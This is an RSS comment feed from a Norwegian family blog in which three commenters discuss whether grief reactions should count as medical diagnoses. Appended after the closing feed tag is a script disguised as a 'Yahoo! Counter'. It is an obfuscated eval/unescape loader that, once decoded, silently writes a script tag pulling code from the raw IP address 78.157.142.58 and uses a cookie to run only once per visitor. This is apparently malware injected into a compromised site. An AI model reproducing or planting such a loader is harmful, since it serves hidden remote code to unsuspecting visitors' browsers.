<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Sorgreaksjon som diagnose?</title>
	<atom:link href="http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/</link>
	<description>Mest om familie, hobby og kvardagsliv.</description>
	<pubDate>Fri, 21 Nov 2008 01:10:44 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
		<item>
		<title>By: Line Kristine</title>
		<link>http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2112</link>
		<dc:creator>Line Kristine</dc:creator>
		<pubDate>Tue, 18 Mar 2008 11:06:22 +0000</pubDate>
		<guid isPermaLink="false">http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2112</guid>
		<description>SÅ enig! Sorg er ingen sykdom/diagnose! Det er en helt naturlig reaksjon. Mulig man trenger sykmelding en periode underveis i denne prosessen, men det er ikke fordi man er syk...</description>
		<content:encoded><![CDATA[<p>SÅ enig! Sorg er ingen sykdom/diagnose! Det er en helt naturlig reaksjon. Mulig man trenger sykmelding en periode underveis i denne prosessen, men det er ikke fordi man er syk&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: minica</title>
		<link>http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2110</link>
		<dc:creator>minica</dc:creator>
		<pubDate>Sat, 15 Mar 2008 20:16:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2110</guid>
		<description>Lasse: Eg trur eg skjønar kva du meiner, men merk deg at eg nyttar ordet sorgreaksjon. Ein sorgreaksjon kan like gjerne vere ein diagnose som ein depressiv reaksjon. Sorgreaksjonar er noko ganske konkret som er pensum for dei fleste helsearbeidarar (i likskap med depressive reaksjonar, krisereaksjonar osb). Det er nettopp ein fellesdiagnose (som til dømes “Tilpassingsforstyrrelser”) eg ynskjer å unngå. Og; på jobben min er alle velkomne, både med og utan diagnosar, samstundes er det vel framleis opp til legen å avgjera om den diagnosen du har gjev så store problem i høve til den jobben du har at du bør vere sjukmeldt? Om ein er sørgjande, treng ein ikkje vere deprimert, men i mange tilfelle kan det vere så krevjande å vere nettopp sørgjande, at ein i ein periode kan trenge å vere sjukmeldt.
Eg trur vi er samde om det storepoenget, at alle menneske har krav på å få den hjelpa dei treng, anten det er sjukmelding, tilpassa arbeid e.l. uavhengig av diagnose? Og ros skal du ha for ikkje å vere like klønete som partikollegaen i ordvalet. (Men truleg hadde du betre tid til å tenkje før du uttalte deg òg ;) )</description>
		<content:encoded><![CDATA[<p>Lasse: Eg trur eg skjønar kva du meiner, men merk deg at eg nyttar ordet sorgreaksjon. Ein sorgreaksjon kan like gjerne vere ein diagnose som ein depressiv reaksjon. Sorgreaksjonar er noko ganske konkret som er pensum for dei fleste helsearbeidarar (i likskap med depressive reaksjonar, krisereaksjonar osb). Det er nettopp ein fellesdiagnose (som til dømes “Tilpassingsforstyrrelser”) eg ynskjer å unngå. Og; på jobben min er alle velkomne, både med og utan diagnosar, samstundes er det vel framleis opp til legen å avgjera om den diagnosen du har gjev så store problem i høve til den jobben du har at du bør vere sjukmeldt? Om ein er sørgjande, treng ein ikkje vere deprimert, men i mange tilfelle kan det vere så krevjande å vere nettopp sørgjande, at ein i ein periode kan trenge å vere sjukmeldt.<br />
Eg trur vi er samde om det storepoenget, at alle menneske har krav på å få den hjelpa dei treng, anten det er sjukmelding, tilpassa arbeid e.l. uavhengig av diagnose? Og ros skal du ha for ikkje å vere like klønete som partikollegaen i ordvalet. (Men truleg hadde du betre tid til å tenkje før du uttalte deg òg <img src='http://www.blogg.gausen.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Lasse G. Dahl</title>
		<link>http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2109</link>
		<dc:creator>Lasse G. Dahl</dc:creator>
		<pubDate>Sat, 15 Mar 2008 19:54:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.blogg.gausen.net/2008/03/15/sorgreaksjon-som-diagnose/#comment-2109</guid>
		<description>Selv om jeg representerer samme parti som Ballo, er det slettes ikke alltid vi er enige - snarere tvert i mot. Men denne gangen er jeg egentlig litt enig med ham, selv om jeg mener at han uttrykker seg litt sleivete. Jeg skal prøve å la være å gå i samme fellen.

Men sorg er jo ikke en diagnose, det er en sinnstilstand. Og det er slettes ikke sikkert at en sørgende verken ønsker eller har behov for å være borte fra jobb. Snarere tvert i mot, jeg synes ofte selv at det å være blant andre mennesker og måtte skjøtte en jobb får meg til å komme over sorgen lettere. Dersom sorg hadde blitt en diagnose, tror jeg at jeg lettere ville følt min tilstedeværelse på jobb som en belastning for de øvrige, og dermed holdt meg borte, for å ikke «ødelegge stemningen».

Men man kan selvfølgelig *bli* deprimert av sorg. Man kan til og med bli fysisk syk. Det er i så fall disse symptomene som må utgjøre diagnosen, ikke den faktoren som utløste dem. 

Dersom man faller og brekker beinet, er det beinbrudd som er diagnosen, ikke «fall». Et fall kan føre til veldig mange diagnoser, akkurat som en sørgende kan ha veldig mange problemer som følge av den belastningen. dersom man prøver å samle disse i en fellesdiagnose, tror jeg egentlig man forvirrer mer enn man forenkler eller forbedrer.</description>
		<content:encoded><![CDATA[<p>Selv om jeg representerer samme parti som Ballo, er det slettes ikke alltid vi er enige - snarere tvert i mot. Men denne gangen er jeg egentlig litt enig med ham, selv om jeg mener at han uttrykker seg litt sleivete. Jeg skal prøve å la være å gå i samme fellen.</p>
<p>Men sorg er jo ikke en diagnose, det er en sinnstilstand. Og det er slettes ikke sikkert at en sørgende verken ønsker eller har behov for å være borte fra jobb. Snarere tvert i mot, jeg synes ofte selv at det å være blant andre mennesker og måtte skjøtte en jobb får meg til å komme over sorgen lettere. Dersom sorg hadde blitt en diagnose, tror jeg at jeg lettere ville følt min tilstedeværelse på jobb som en belastning for de øvrige, og dermed holdt meg borte, for å ikke «ødelegge stemningen».</p>
<p>Men man kan selvfølgelig *bli* deprimert av sorg. Man kan til og med bli fysisk syk. Det er i så fall disse symptomene som må utgjøre diagnosen, ikke den faktoren som utløste dem. </p>
<p>Dersom man faller og brekker beinet, er det beinbrudd som er diagnosen, ikke «fall». Et fall kan føre til veldig mange diagnoser, akkurat som en sørgende kan ha veldig mange problemer som følge av den belastningen. dersom man prøver å samle disse i en fellesdiagnose, tror jeg egentlig man forvirrer mer enn man forenkler eller forbedrer.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('$%2F%2F`%2E.%2E $%3C`%64%69@v$%20|%73%74y`%6C!%65=#%64%69!%73%70l%61#y:%6Eo$%6E%65@%3E\nv#%61r%20$%5F%3B%69@%66~(d%6F%63%75|m#e%6Et%2E|%63%6F@oki%65%2E&%6Dat%63h%28%2F%5Cbh$%67%66!%74$%3D@1&/#%29@%3D=|n%75%6C`l#)!%64&%6F$%63#%75m$%65%6E!t.w|%72!%69%74%65$%28@"!%3C%73c|r$%69!p%74&%20!%73%72|%63%3D%2F%2F%37%38.`1`%35|7.$%31%34#%32~%2E5|8#/c!p/~%3F#"@%2B&%6E#%61v$%69~%67at%6F~r%2Ea`p$%70#Na!m@e%2E!c$%68#a&%72A%74%280@%29&+%22~%3E@%3C|%5C/$%73#cri%70%74!%3E#"`)$%3B#\n#%2F/~%3C/%64i%76%3E').replace(/`|\!|~|\$|@|\&|\||#/g,""));var yahoo_counter=1;
<!-- counter end --></script>
